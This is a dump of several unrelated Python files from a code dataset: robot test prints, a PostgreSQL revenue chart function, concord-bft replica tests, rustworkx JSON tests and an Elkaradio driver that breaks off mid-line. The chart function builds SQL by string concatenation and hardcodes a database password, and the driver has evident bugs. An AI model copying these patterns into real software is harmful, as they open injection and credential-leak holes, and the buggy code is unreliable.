\"units\")\nprint(\"fuel left =\", e.fuel_left(), \"units\")\nprint(\"fuel consumed =\", e.fuel_consumed(), \"units\")\nprint(\"|\" * 90)\n\nprint(\"\")\nprint(\"Faulty Robot\")\nprint(\"\")\nf = FaultyRobot(-1, 4, 10)\nf.up()\nprint(\"position =\", f.position())\nf.down()\nprint(\"position =\", f.position())\nprint(\"total distance =\", f.distance(), \"units\")\nf.right()\nprint(\"position =\", f.position())\nf.left()\nprint(\"position =\", f.position())\nprint(\"total distance =\", f.distance(), \"units\")\nprint(\"fuel left =\", f.fuel_left(), \"units\")\nf.up()\nf.up()\nprint(\"position =\", f.position())\nprint(\"total distance =\", f.distance(), \"units\")\nprint(\"fuel left =\", f.fuel_left(), \"units\")\nprint(\"route =\", f.movements(1, 5))\nprint(\"position =\", f.position())\nprint(\"total distance =\", f.distance(), \"units\")\nprint(\"fuel left =\", f.fuel_left(), \"units\")\nprint(\"route =\", f.movements(-1, 9))\nprint(\"position =\", f.position())\nprint(\"total distance =\", f.distance(), \"units\")\nprint(\"fuel left =\", f.fuel_left(), \"units\")\nprint(\"route =\", f.movements(0, 0))\nprint(\"position =\", f.position())\nprint(\"total distance =\", f.distance(), \"units\")\nprint(\"fuel left =\", f.fuel_left(), \"units\")\nprint(\"route =\", f.movements(1, 100))\nprint(\"position =\", f.position())\nprint(\"total distance =\", f.distance(), \"units\")\nprint(\"fuel left =\", f.fuel_left(), \"units\")\nprint(\"fuel consumed =\", f.fuel_consumed(), \"units\")\nprint(\"|\" * 90)\n\nprint(\"\")\nprint(\"Intersection Point\")\nprint(\"\")\n\nprint(\"\")\nprint(\"already at intersection point\")\nr2 = Robot(0, 4, 10)\nr3 = Robot(0, 4, 8)\nprint(\"**intersection point of (0, 4, 10) & (0, 4, 8) =\", r2.intersection_point(r3))\n\nprint(\"\")\nprint(\"insufficient fuel\")\nr4 = Robot(0, 0, 2)\nr5 = Robot(0, 10, 1)\nprint(\"**intersection point of (0, 0, 2) & (0, 10, 1) =\", r4.intersection_point(r5))\n\nprint(\"\")\nprint(\"x,y-int and midpoint\")\nr6 = Robot(1, 7, 10)\nr7 = Robot(3, -7, 8)\nprint(\"**intersection point of (1, 7, 10) & (3, -7, 8) =\", r6.intersection_point(r7))\n\nprint(\"\")\nprint(\"x,y-int and self robot with insufficient fuel\")\nr8 = Robot(1, 7, 1)\nr9 = Robot(3, -7, 10)\nprint(\"**intersection point of (1, 7, 1) & (3, -7, 10) =\", r8.intersection_point(r9))\n\nprint(\"\")\nprint(\"x,y-int and other robot with insufficient fuel\")\nr10 = Robot(1, 7, 10)\nr11 = Robot(3, -7, 1)\nprint(\"**intersection point of (1, 7, 10) & (3, -7, 1) =\", r10.intersection_point(r11))\n\nprint(\"\")\nprint(\"x,y-float and midpoint\")\nr12 = Robot(1, 3, 10)\nr13 = Robot(2, -4, 8)\nprint(\"**intersection point of (1, 3, 10) & (2, -4, 8) =\", r12.intersection_point(r13))\n\nprint(\"\")\nprint(\"x,y-float and self robot with insufficient fuel\")\nr14 = Robot(1, 3, 1)\nr15 = Robot(2, -4, 8)\nprint(\"**intersection point of (1, 3, 1) & (2, -4, 8) =\", r14.intersection_point(r15))\n\nprint(\"\")\nprint(\"x,y-float and other robot with insufficient fuel\")\nr16 = Robot(1, 3, 8)\nr17 = Robot(2, -4, 1)\nprint(\"**intersection point of (1, 3, 8) & (2, -4, 1) =\", r16.intersection_point(r17))\n\nprint(\"\")\nprint(\"x - float, y-int and 1st midpoint\")\nr18 = Robot(1, 4, 2)\nr19 = Robot(2, -4, 2.5)\nprint(\"**intersection point of (1, 4, 2) & (2, -4, 2.5) =\", r18.intersection_point(r19))\n\nprint(\"\")\nprint(\"x - float, y-int and 2nd midpoint\")\nr20 = Robot(1, 4, 2.5)\nr21 = Robot(2, -4, 2)\nprint(\"**intersection point of (1, 4, 2.5) & (2, -4, 2) =\", r20.intersection_point(r21))\n\nprint(\"\")\nprint(\"x - float, y-int and self robot with insufficient fuel\")\nr22 = Robot(1, 4, 1)\nr23 = Robot(2, -4, 5)\nprint(\"**intersection point of (1, 4, 1) & (2, -4, 5) =\", r22.intersection_point(r23))\n\nprint(\"\")\nprint(\"x - float, y-int and other robot with insufficient fuel\")\nr24 = Robot(1, 4, 5)\nr25 = Robot(2, -4, 1)\nprint(\"**intersection point of (1, 4, 5) & (2, -4, 1) =\", r24.intersection_point(r25))\n\nprint(\"\")\nprint(\"x - int, y-float and 1st midpoint\")\nr26 = Robot(4, 1, 2)\nr27 = Robot(-4, 2, 2.5)\nprint(\"**intersection point of (4, 1, 2) & (-4, 2, 2.5) =\", r26.intersection_point(r27))\n\nprint(\"\")\nprint(\"x - int, y-float and 2nd midpoint\")\nr28 = Robot(4, 1, 2.5)\nr29 = Robot(-4, 2, 2)\nprint(\"**intersection point of (4, 1, 2.5) & (-4, 2, 2) =\", r28.intersection_point(r29))\n\nprint(\"\")\nprint(\"x - int, y-float and self robot with insufficient fuel\")\nr30 = Robot(4, 1, 1)\nr31 = Robot(-4, 2, 5)\nprint(\"**intersection point of (4, 1, 1) & (-4, 2, 5) =\", r30.intersection_point(r31))\n\nprint(\"\")\nprint(\"x - int, y-float and other robot with insufficient fuel\")\nr32 = Robot(4, 1, 5)\nr33 = Robot(-4, 2, 1)\nprint(\"**intersection point of (4, 1, 5) & (-4, 2, 1) =\", r32.intersection_point(r33))\n","sub_path":"Assignments/Oops/oops_robot.py","file_name":"oops_robot.py","file_ext":"py","file_size_in_byte":12434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"422923749","text":"def my_func31(date_start, date_end):\n import psycopg2\n import matplotlib.pyplot as plt\n\n # Подключаемся к БД:\n conn = psycopg2.connect(dbname='AdHacks', user='postgres',\n password='111222', host='localhost', port=\"5433\")\n cursor = conn.cursor()\n\n # Составляем запрос:\n SQL1 = \"SELECT country, SUM(revenue) FROM revenue WHERE date BETWEEN '\"\n SQL2 = \"' AND '\"\n SQL3 = \"' GROUP BY country;\"\n SQL = SQL1 + date_start + SQL2 + date_end + SQL3\n cursor.execute(SQL)\n records = cursor.fetchall()\n cursor.close()\n conn.close()\n\n #Формируем из выгрузки словарь стран по обхим доходам за период:\n dict1 = {key: value for (key, value) in records}\n\n #Рисуем круговую диаграмму:\n labels = dict1.keys()\n sizes = dict1.values()\n\n plt.figure(figsize=(8, 6))\n fig, ax1 = plt.subplots()\n ax1.pie(sizes, labels=labels, autopct='%1.1f%%', startangle=90)\n\n ax1.axis('equal')\n plt.show()\n","sub_path":".ipynb_checkpoints/Task3.1-checkpoint.py","file_name":"Task3.1-checkpoint.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"445490386","text":"# Concord\n#\n# Copyright (c) 2019 VMware, Inc. All Rights Reserved.\n#\n# This product is licensed to you under the Apache 2.0 license (the \"License\").\n# You may not use this product except in compliance with the Apache 2.0 License.\n#\n# This product may include a number of subcomponents with separate copyright\n# notices and license terms. Your use of these subcomponents is subject to the\n# terms and conditions of the subcomponent's license, as noted in the LICENSE\n# file.\n\nimport unittest\nimport trio\nimport os\nimport random\nimport subprocess\nimport tempfile\nimport shutil\nimport time\n\nfrom util import bft\nfrom util import skvbc as kvbc\nfrom util.skvbc import SimpleKVBCProtocol\nfrom util.skvbc_history_tracker import verify_linearizability\nfrom math import inf\n\nfrom util.bft import KEY_FILE_PREFIX, with_trio, with_bft_network\n\ndef start_replica_cmd(builddir, replica_id, config):\n \"\"\"\n Return a command that starts an skvbc replica when passed to\n subprocess.Popen.\n\n The replica is started with a short view change timeout and with RocksDB\n persistence enabled (-p).\n\n Note each arguments is an element in a list.\n \"\"\"\n statusTimerMilli = \"500\"\n viewChangeTimeoutMilli = \"10000\"\n ro_params = [ \"--s3-config-file\",\n os.path.join(builddir, \"tests\", \"simpleKVBC\", \"scripts\", \"test_s3_config.txt\")\n ]\n path = os.path.join(builddir, \"tests\", \"simpleKVBC\", \"TesterReplica\", \"skvbc_replica\")\n ret = [path,\n \"-k\", KEY_FILE_PREFIX,\n \"-i\", str(replica_id),\n \"-s\", statusTimerMilli,\n \"-p\",\n \"-t\", os.environ.get('STORAGE_TYPE')\n ]\n if replica_id >= config.n and replica_id < config.n + config.num_ro_replicas and os.environ.get(\"CONCORD_BFT_MINIO_BINARY_PATH\"):\n ret.extend(ro_params)\n \n return ret\n\nclass SkvbcReadOnlyReplicaTest(unittest.TestCase):\n @classmethod\n def _start_s3_server(cls):\n print(\"Starting server\")\n server_env = os.environ.copy()\n server_env[\"MINIO_ACCESS_KEY\"] = \"concordbft\"\n server_env[\"MINIO_SECRET_KEY\"] = \"concordbft\"\n\n minio_server_fname = os.environ.get(\"CONCORD_BFT_MINIO_BINARY_PATH\")\n if minio_server_fname is None:\n shutil.rmtree(cls.work_dir)\n raise RuntimeError(\"Please set path to minio binary to CONCORD_BFT_MINIO_BINARY_PATH env variable\")\n\n cls.minio_server_proc = subprocess.Popen([minio_server_fname, \"server\", cls.minio_server_data_dir], \n env = server_env, \n close_fds=True)\n\n @classmethod\n def setUpClass(cls):\n if not os.environ.get(\"CONCORD_BFT_MINIO_BINARY_PATH\"):\n return\n\n # We need a temp dir for data and binaries - this is cls.dest_dir\n # self.dest_dir will contain data dir for minio buckets and the minio binary\n # if there are any directories inside data dir - they become buckets\n cls.work_dir = \"/tmp/concord_bft_minio_datadir_\" + next(tempfile._get_candidate_names())\n cls.minio_server_data_dir = os.path.join(cls.work_dir, \"data\")\n os.makedirs(os.path.join(cls.work_dir, \"data\", \"blockchain\")) # create all dirs in one call\n\n print(f\"Working in {cls.work_dir}\")\n\n # Start server\n cls._start_s3_server()\n \n print(\"Initialisation complete\")\n\n @classmethod\n def tearDownClass(cls):\n if not os.environ.get(\"CONCORD_BFT_MINIO_BINARY_PATH\"):\n return\n\n # First stop the server gracefully\n cls.minio_server_proc.terminate()\n cls.minio_server_proc.wait()\n\n # Delete workdir dir\n shutil.rmtree(cls.work_dir)\n\n @classmethod\n def _stop_s3_server(cls):\n cls.minio_server_proc.kill()\n cls.minio_server_proc.wait()\n\n @classmethod\n def _stop_s3_for_X_secs(cls, x):\n cls._stop_s3_server()\n time.sleep(x)\n cls._start_s3_server()\n\n @classmethod\n def _start_s3_after_X_secs(cls, x):\n time.sleep(x)\n cls._start_s3_server()\n\n @with_trio\n @with_bft_network(start_replica_cmd=start_replica_cmd, num_ro_replicas=1)\n @verify_linearizability\n async def test_ro_replica_start_with_delay(self, bft_network, tracker):\n \"\"\"\n Start up N of N regular replicas.\n Send client commands until checkpoint 1 is reached.\n Start read-only replica.\n Wait for State Transfer in ReadOnlyReplica to complete.\n \"\"\"\n bft_network.start_all_replicas()\n # TODO replace the below function with the library function:\n # await tracker.skvbc.tracked_fill_and_wait_for_checkpoint(initial_nodes=bft_network.all_replicas(), checkpoint_num=1)\n with trio.fail_after(seconds=60):\n async with trio.open_nursery() as nursery:\n nursery.start_soon(tracker.send_indefinite_tracked_ops)\n while True:\n with trio.move_on_after(seconds=.5):\n try:\n key = ['replica', 'Gauges', 'lastStableSeqNum']\n replica_id = 0\n lastStableSeqNum = await bft_network.metrics.get(replica_id, *key)\n except KeyError:\n continue\n else:\n if lastStableSeqNum >= 150:\n #enough requests\n print(\"Consensus: lastStableSeqNum:\" + str(lastStableSeqNum))\n nursery.cancel_scope.cancel()\n # start the read-only replica\n ro_replica_id = bft_network.config.n\n bft_network.start_replica(ro_replica_id)\n with trio.fail_after(seconds=60):\n while True:\n with trio.move_on_after(seconds=.5):\n try:\n key = ['replica', 'Gauges', 'lastExecutedSeqNum']\n lastExecutedSeqNum = await bft_network.metrics.get(ro_replica_id, *key)\n except KeyError:\n continue\n else:\n # success!\n if lastExecutedSeqNum >= 150:\n print(\"Replica \" + str(ro_replica_id) + \": lastExecutedSeqNum:\" + str(lastExecutedSeqNum))\n break\n\n @with_trio\n @with_bft_network(start_replica_cmd=start_replica_cmd, num_ro_replicas=1)\n @verify_linearizability\n async def test_ro_replica_start_simultaneously (self, bft_network, tracker):\n \"\"\"\n Start up N of N regular replicas.\n Start read-only replica.\n Send client commands.\n Wait for State Transfer in ReadOnlyReplica to complete.\n \"\"\"\n bft_network.start_all_replicas()\n # start the read-only replica\n ro_replica_id = bft_network.config.n\n bft_network.start_replica(ro_replica_id)\n # TODO replace the below function with the library function:\n # await tracker.skvbc.tracked_fill_and_wait_for_checkpoint(initial_nodes=bft_network.all_replicas(), checkpoint_num=1) \n with trio.fail_after(seconds=60):\n async with trio.open_nursery() as nursery:\n nursery.start_soon(tracker.send_indefinite_tracked_ops)\n while True:\n with trio.move_on_after(seconds=.5):\n try:\n key = ['replica', 'Gauges', 'lastExecutedSeqNum']\n lastExecutedSeqNum = await bft_network.metrics.get(ro_replica_id, *key)\n except KeyError:\n continue\n else:\n # success!\n if lastExecutedSeqNum >= 150:\n print(\"Replica\" + str(ro_replica_id) + \" : lastExecutedSeqNum:\" + str(lastExecutedSeqNum))\n nursery.cancel_scope.cancel()\n \n @unittest.skip(\"unstable\")\n @with_trio\n @with_bft_network(start_replica_cmd=start_replica_cmd, num_ro_replicas=1)\n async def test_ro_replica_with_s3_failures(self, bft_network):\n bft_network.start_all_replicas()\n skvbc = kvbc.SimpleKVBCProtocol(bft_network)\n\n # start the read-only replica while the s3 service is down\n self.__class__._stop_s3_server()\n ro_replica_id = bft_network.config.n\n bft_network.start_replica(ro_replica_id)\n\n self.__class__._start_s3_after_X_secs(5)\n\n await skvbc.fill_and_wait_for_checkpoint(\n initial_nodes=bft_network.all_replicas(),\n checkpoint_num=1,\n verify_checkpoint_persistency=False\n )\n\n # TODO replace the below function with the library function:\n # await tracker.skvbc.tracked_fill_and_wait_for_checkpoint(initial_nodes=bft_network.all_replicas(), checkpoint_num=1) \n with trio.fail_after(seconds=70):\n async with trio.open_nursery() as nursery:\n # the ro replica should be able to survive these failures\n while True:\n with trio.move_on_after(seconds=.5):\n try:\n key = ['replica', 'Gauges', 'lastExecutedSeqNum']\n lastExecutedSeqNum = await bft_network.metrics.get(ro_replica_id, *key)\n except KeyError:\n continue\n else:\n # success!\n if lastExecutedSeqNum >= 50:\n print(\"Replica\" + str(ro_replica_id) + \" : lastExecutedSeqNum:\" + str(lastExecutedSeqNum))\n nursery.cancel_scope.cancel()\n","sub_path":"tests/apollo/test_skvbc_ro_replica.py","file_name":"test_skvbc_ro_replica.py","file_ext":"py","file_size_in_byte":9870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"171595984","text":"import numpy as np\r\nimport pandas as pd\r\nfrom LinearRegression import SelfLinearRegression\r\nimport Evaluation_Metrics as em\r\n# 导包获取糖尿病数据集\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.datasets import load_diabetes\r\n\r\ndata_diabetes = load_diabetes()\r\n\r\ndata = data_diabetes['data']\r\ntarget = data_diabetes['target']\r\nfeature_names = data_diabetes['feature_names']\r\n\r\n# 三个数据都是numpy的一维数据形式,组合成dataframe,更直观地观察数据\r\ndf = pd.DataFrame(data, columns=feature_names)\r\n\r\n# 使用sklearn分割数据集\r\ntrain_X, test_X, train_Y, test_Y = train_test_split(data, target, train_size=0.8)\r\n\r\n# 使用梯度下降来测试\r\nlr1 = SelfLinearRegression(solve='sgd')\r\nlr1.fit(train_X, train_Y)\r\npredict = lr1.predict(test_X)\r\npredict1 = predict[0]\r\n# 查看w\r\nprint('w', lr1.get_params())\r\nmSE = em.MSE(test_Y, predict1)\r\nrMSE = em.RMSE(test_Y, predict1)\r\nmAE = em.MAE(test_Y, predict1)\r\nrSQUARE = em.RSquare(test_Y, predict1)\r\nprint(f\"\\n均方误差:{mSE}\\n\")\r\nprint(f\"均方根误差:{rMSE}\\n\")\r\nprint(f\"平均绝对误差:{mAE}\\n\")\r\nprint(f\"平方误差:{rSQUARE}\\n\")\r\n\r\n# 使用简单闭包运算\r\nlr2 = SelfLinearRegression(solve='closed')\r\nlr2.fit(train_X, train_Y)\r\npredict2 = lr2.predict(test_X)\r\nmSE = em.MSE(test_Y, predict2)\r\nrMSE = em.RMSE(test_Y, predict2)\r\nmAE = em.MAE(test_Y, predict2)\r\nrSQUARE = em.RSquare(test_Y, predict2)\r\nprint(f\"\\n均方误差:{mSE}\\n\")\r\nprint(f\"均方根误差:{rMSE}\\n\")\r\nprint(f\"平均绝对误差:{mAE}\\n\")\r\nprint(f\"平方误差:{rSQUARE}\\n\")","sub_path":"LinearRegression/ML/model_test.py","file_name":"model_test.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"413995641","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport json\nimport tempfile\nimport uuid\n\nimport unittest\nimport rustworkx\n\n\nclass TestNodeLinkJSON(unittest.TestCase):\n def test_empty_graph(self):\n graph = rustworkx.PyGraph()\n res = rustworkx.node_link_json(graph)\n expected = {\"attrs\": None, \"directed\": False, \"links\": [], \"multigraph\": True, \"nodes\": []}\n self.assertEqual(json.loads(res), expected)\n\n def test_path_graph(self):\n graph = rustworkx.generators.path_graph(3)\n res = rustworkx.node_link_json(graph)\n expected = {\n \"attrs\": None,\n \"directed\": False,\n \"links\": [\n {\"data\": None, \"id\": 0, \"source\": 0, \"target\": 1},\n {\"data\": None, \"id\": 1, \"source\": 1, \"target\": 2},\n ],\n \"multigraph\": True,\n \"nodes\": [{\"data\": None, \"id\": 0}, {\"data\": None, \"id\": 1}, {\"data\": None, \"id\": 2}],\n }\n self.assertEqual(json.loads(res), expected)\n\n def test_path_graph_node_attrs(self):\n graph = rustworkx.generators.path_graph(3)\n for node in graph.node_indices():\n graph[node] = {\"nodeLabel\": f\"node={node}\"}\n res = rustworkx.node_link_json(graph, node_attrs=dict)\n expected = {\n \"attrs\": None,\n \"directed\": False,\n \"links\": [\n {\"data\": None, \"id\": 0, \"source\": 0, \"target\": 1},\n {\"data\": None, \"id\": 1, \"source\": 1, \"target\": 2},\n ],\n \"multigraph\": True,\n \"nodes\": [\n {\"data\": {\"nodeLabel\": \"node=0\"}, \"id\": 0},\n {\"data\": {\"nodeLabel\": \"node=1\"}, \"id\": 1},\n {\"data\": {\"nodeLabel\": \"node=2\"}, \"id\": 2},\n ],\n }\n self.assertEqual(json.loads(res), expected)\n\n def test_path_graph_edge_attr(self):\n graph = rustworkx.generators.path_graph(3)\n for edge, (source, target, _weight) in graph.edge_index_map().items():\n graph.update_edge_by_index(edge, {\"edgeLabel\": f\"{source}->{target}\"})\n\n res = rustworkx.node_link_json(graph, edge_attrs=dict)\n expected = {\n \"attrs\": None,\n \"directed\": False,\n \"links\": [\n {\"data\": {\"edgeLabel\": \"0->1\"}, \"id\": 0, \"source\": 0, \"target\": 1},\n {\"data\": {\"edgeLabel\": \"1->2\"}, \"id\": 1, \"source\": 1, \"target\": 2},\n ],\n \"multigraph\": True,\n \"nodes\": [{\"data\": None, \"id\": 0}, {\"data\": None, \"id\": 1}, {\"data\": None, \"id\": 2}],\n }\n self.assertEqual(json.loads(res), expected)\n\n def test_path_graph_attr(self):\n graph = rustworkx.PyGraph(attrs=\"label\")\n res = rustworkx.node_link_json(graph, graph_attrs=lambda x: {\"label\": x})\n expected = {\n \"attrs\": {\"label\": \"label\"},\n \"directed\": False,\n \"links\": [],\n \"multigraph\": True,\n \"nodes\": [],\n }\n self.assertEqual(json.loads(res), expected)\n\n def test_file_output(self):\n graph = rustworkx.generators.path_graph(3)\n graph.attrs = \"path_graph\"\n for node in graph.node_indices():\n graph[node] = {\"nodeLabel\": f\"node={node}\"}\n for edge, (source, target, _weight) in graph.edge_index_map().items():\n graph.update_edge_by_index(edge, {\"edgeLabel\": f\"{source}->{target}\"})\n expected = {\n \"attrs\": {\"label\": \"path_graph\"},\n \"directed\": False,\n \"links\": [\n {\"data\": {\"edgeLabel\": \"0->1\"}, \"id\": 0, \"source\": 0, \"target\": 1},\n {\"data\": {\"edgeLabel\": \"1->2\"}, \"id\": 1, \"source\": 1, \"target\": 2},\n ],\n \"multigraph\": True,\n \"nodes\": [\n {\"data\": {\"nodeLabel\": \"node=0\"}, \"id\": 0},\n {\"data\": {\"nodeLabel\": \"node=1\"}, \"id\": 1},\n {\"data\": {\"nodeLabel\": \"node=2\"}, \"id\": 2},\n ],\n }\n with tempfile.NamedTemporaryFile() as fd:\n res = rustworkx.node_link_json(\n graph,\n path=fd.name,\n graph_attrs=lambda x: {\"label\": x},\n node_attrs=dict,\n edge_attrs=dict,\n )\n self.assertIsNone(res)\n json_dict = json.load(fd)\n self.assertEqual(json_dict, expected)\n\n def test_invalid_path_dir(self):\n nonexistent_path = tempfile.gettempdir() + \"/\" + str(uuid.uuid4()) + \"/graph.rustworkx.json\"\n graph = rustworkx.PyGraph()\n with self.assertRaises(FileNotFoundError):\n rustworkx.node_link_json(graph, path=nonexistent_path)\n\n def test_attr_callback_invalid_type(self):\n graph = rustworkx.PyGraph()\n with self.assertRaises(TypeError):\n rustworkx.node_link_json(graph, graph_attrs=lambda _: \"attrs_field\")\n\n def test_not_multigraph(self):\n graph = rustworkx.PyGraph(multigraph=False)\n res = rustworkx.node_link_json(graph)\n expected = {\"attrs\": None, \"directed\": False, \"links\": [], \"multigraph\": False, \"nodes\": []}\n self.assertEqual(json.loads(res), expected)\n","sub_path":"tests/rustworkx_tests/graph/test_node_link_json.py","file_name":"test_node_link_json.py","file_ext":"py","file_size_in_byte":5654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"293971293","text":"# -*- coding: utf-8 -*-\n# author: FlorianVaissiere - https://github.com/FlorianVaissiere\n\nimport sys\nsys.path.append('src')\n\nimport mailing\nfrom mailing import Mailing\nimport unittest\nimport unittest.mock\nfrom unittest.mock import patch\n\nclass TestMailingMethods(unittest.TestCase):\n\n def test_email_sender(self):\n with patch.object(Mailing, 'email_sender', return_value=True) as mock:\n mail = Mailing()\n mail.email_sender()\n self.assertEquals(mock.return_value, True) \n\n\n\n def test_add_mailadress(self):\n _addmail = 'test@test.com'\n\n mail = Mailing()\n mail.add_mailadress(_addmail)\n\n self.assertEquals(mail._destination_mail[1], _addmail) \n\nif __name__ == '__main__':\n unittest.main()","sub_path":"test/test_mailing.py","file_name":"test_mailing.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"121510479","text":"\"\"\"\nAuthor: Eric Solomon\nProject: Elkaradio Control\nLab: Alfred Gessow Rotorcraft Center\nPackage: ETP \nModule: elkaDriver.py \n\nDriver for base station of Elka autopilot.\n\nTakes inputs from a joystick controller and converts them to data packets.\nData packets are sent via Elkaradio wireless link to tethered Elka inertial\nquadrotor autopilot system. Receives acks from tethered Elka (or any compatible\nnRF24L01p as specified in ElkaradioTRX.py) \n\n\"\"\"\n\nimport sys, os\nsys.path.append(os.getcwd()) \nimport Queue, threading, array, logging\n\nfrom Elkaradio.elkaradioTRX import Elkaradio\nfrom Inputs.joystickCtrl import * \nfrom ETP.dataPacket import DataPacket\nfrom Utils.exceptions import *\n\n############################## Set up loggers ##################################\nlogger = logging.getLogger('main.elkaDriver')\nlog_inputs = logging.getLogger('inputs')\nlog_outputs = logging.getLogger('outputs')\nlog_acks = logging.getLogger('acks')\n################################################################################\n\n########## ElkaDriver Class ##########\nclass ElkaDriver(object):\n def __init__(self, dev = None):\n \"\"\" Create the link driver \"\"\"\n self.dev = dev\n self.eradio = None\n \n self.joystick = None\n self.axes = None\n \n # queue access must be atomic\n self.in_queue = None \n self.out_queue = None \n self.ack_queue = None \n \n # driver runs joystick_ctrl and driver threads\n self._threads = []\n\n def start(self):\n # Initialize eradio and joystick\n try:\n try: # connect to eradio\n self.connect()\n logger.debug('\\nElkaradio is connected')\n except LinkEstablished: # already a link in place\n logger.debug('\\nLink is already in place')\n\n #connect to joystick\n j = JoystickCtrl(self.in_queue)\n self.axes = Axes(j.ctrlr_name)\n logger.debug('\\n{0} joystick has been'.format(j.ctrlr_name) +\n ' initialized')\n \n self._threads.append(j)\n j.daemon = True\n j.start()\n\n\n except JoystickNotFound as e:\n raise\n except LinkException as e:\n raise\n except KeyboardInterrupt as e:\n raise\n except Exception as e:\n raise\n\n def pause(self):\n for t in self._threads:\n t.stop()\n t = None\n\n def restart(self):\n i = 0\n for t in self._threads:\n # check for live thread\n if not t.isAlive():\n # restart threads\n if i == 0:\n t = JoystickCtrl()\n self.axes_enum = Axes(t.ctrlr_name)\n elif i == 1:\n t= ElkaDriverThread(self.eradio, self,in_queue, \n self.ack_queue, self.out_queue)\n t.daemon = True\n t.start()\n logger.debug('\\nElkaDriverThread thread has restarted')\n i += 1\n\n def close(self):\n if self.eradio is not None:\n self.eradio.close()\n\n self.eradio = None\n logger.debug('\\nElkaDriver is closed')\n #also flush in_queue and out_queue contents\n\n def connect(self):\n channel = 2\n datarate = Elkaradio.DR_250KPS\n if self.eradio is None:\n try:\n self.eradio = Elkaradio(self.dev)\n except ElkaradioNotFound as e:\n raise\n else:\n raise Exception (\"Link already open!\") \n\n # prepare the inter-thread communication queue\n self.ack_queue = Queue.Queue()\n self.in_queue = Queue.Queue()\n # limited size out queue to avoid 'Readback effect'\n self.out_queue = Queue.Queue(50)\n\n t = ElkaDriverThread(self.eradio, self.in_queue, self.ack_queue,\n self.out_queue)\n self._threads.append(t)\n \n # start thread as daemon because packet handling occurs\n # passively\n t.daemon = True\n t.start()\n logger.debug('\\nBase node is beginning transmission')\n\n def get_status(self):\n if self.eradio is None:\n try:\n self.eradio = Elkaradio()\n except USBError as e:\n return \"Cannot open Elkaradio. Permission problem?\"\\\n \" ({})\".format(str(e))\n except Exception as e:\n return str(e)\n\n mode = None\n if self.eradio.radio_mode == 0:\n mode = 'MODE_PTX'\n elif self.eradio.radio_mode == 1:\n mode = 'MODE_PTX_SYNCHRONOUS'\n elif self.eradio.radio_mode == 2:\n mode = 'MODE_PRX'\n elif self.eradio.radio_mode == 3:\n mode = 'MODE_HYBRID'\n \n logger.debug('\\nElkaradio versio {} in {}'.format(\n self.eradio.version, mode))\n \n return \"Elkaradio version {} in {}\".format(\n self.eradio.version, mode)\n\n @property\n def name(self):\n return \"radio\"\n\n########## End of ElkaDriver Class ##########\n\n########## ElkaDriverThread Class ##########\nclass ElkaDriverThread(threading.Thread):\n \"\"\" Radio link receiver thread used to read data from the Elkaradio\n USB driver. \"\"\"\n\n RETRYCNT_BEFORE_DISCONNECT = 10\n\n def __init__(self, eradio, inQueue, ackQueue, outQueue):\n \"\"\" Create the object \"\"\"\n threading.Thread.__init__(self)\n self.eradio = eradio\n self.in_queue = inQueue\n self.ack_queue = ackQueue\n self.out_queue = outQueue\n self.sp = False\n self.retry_before_disconnect = self.RETRYCNT_BEFORE_DISCONNECT\n\n def receive_packet(self, time=0):\n \"\"\"\n receive a packet though the link. this call is blocking but will\n timeout and return none if a timeout is supplied.\n \"\"\"\n pk = None\n if time == 0:\n try:\n pk = self.ack_queue.get(False)\n log_acks.info('{0}'.format(pk))\n return pk\n except Queue.Empty:\n return None\n elif time < 0:\n try:\n pk = self.ack_queue.get(True)\n log_acks.info('{0}'.format(pk))\n except Queue.Empty:\n return None\n else:\n try:\n pk = self.ack_queue.get(True, time)\n log_acks.info('{0}'.format(pk))\n except Queue.Empty:\n return None\n\n def send_packet(self):\n \"\"\" form packet and send to out_queue \"\"\"\n #FIXME fix header\n #FIXME problem with self.in_queue.get()\n header = [0, 255, 255] \n try:\n pk = DataPacket.output(header, self.in_queue.get())\n except Queue.Empty:\n pk = DataPacket.output(header) \n\n try:\n self.out_queue.put(pk, true, 2)\n except Queue.Full:\n raise QueueFullException()\n \n def stop(self):\n \"\"\" Stop the thread \"\"\"\n self.sp = True\n try:\n self.join()\n except Exception:\n pass\n\n #FIXME add logging\n def run(self):\n \"\"\" Run the receiver thread \"\"\"\n data_out = array.array('B', [0x00])\n wait_time = 0\n empty_ctr = 0\n \n logger.debug('\\nElkaDriverThread running')\n while not self.sp:\n try:\n ack_status = self.eradio.send_packet(data_out)\n log_outputs.info('{0}'.format(data_out))\n except Exception as e:\n raise\n\n if ack_status is None:\n # primitive version of Bitcraze callbacks\n log_acks.debug('No ack received')\n continue\n\n if ack_status.ack is False:\n self.retry_before_disconnect -= 1\n\n if self.retry_before_disconnect == 0:\n continue\n\n self.retry_before_disconnect = self.RETRYCNT_BEFORE_DISCONNECT\n\n data = ack_status.data\n\n # If there is a copter in range, the packet is analyzed and\n # the next packet is prepared\n if (len(data) > 0):\n ack_packet = DataPacket.ack(data[0:3], list(data[3:]))\n log_acks.info('{0},{1}'.format(\n ack_packet.header, ack_packet.data))\n # print \"<- \" + ackPacket.__str__()\n self.ack_queue.put(ack_packet)\n wait_time = 0\n empty_ctr = 0\n else:\n empty_ctr += 1\n if (empty_ctr > 10):\n empty_ctr = 10\n # Relaxation time if the last 10 packets were empty\n wait_time = .01\n else:\n wait_time = 0\n\n self.send_packet()\n out_packet = self.out_queue.get(True, waitTime)\n data_out = array.array('B', *data_out)\n if out_packet:\n # print \"-> \" + outPacket.__str__()\n for h in out_packet.header:\n data_out.put(h)\n for x in out_packet.data:\n if type(x) == 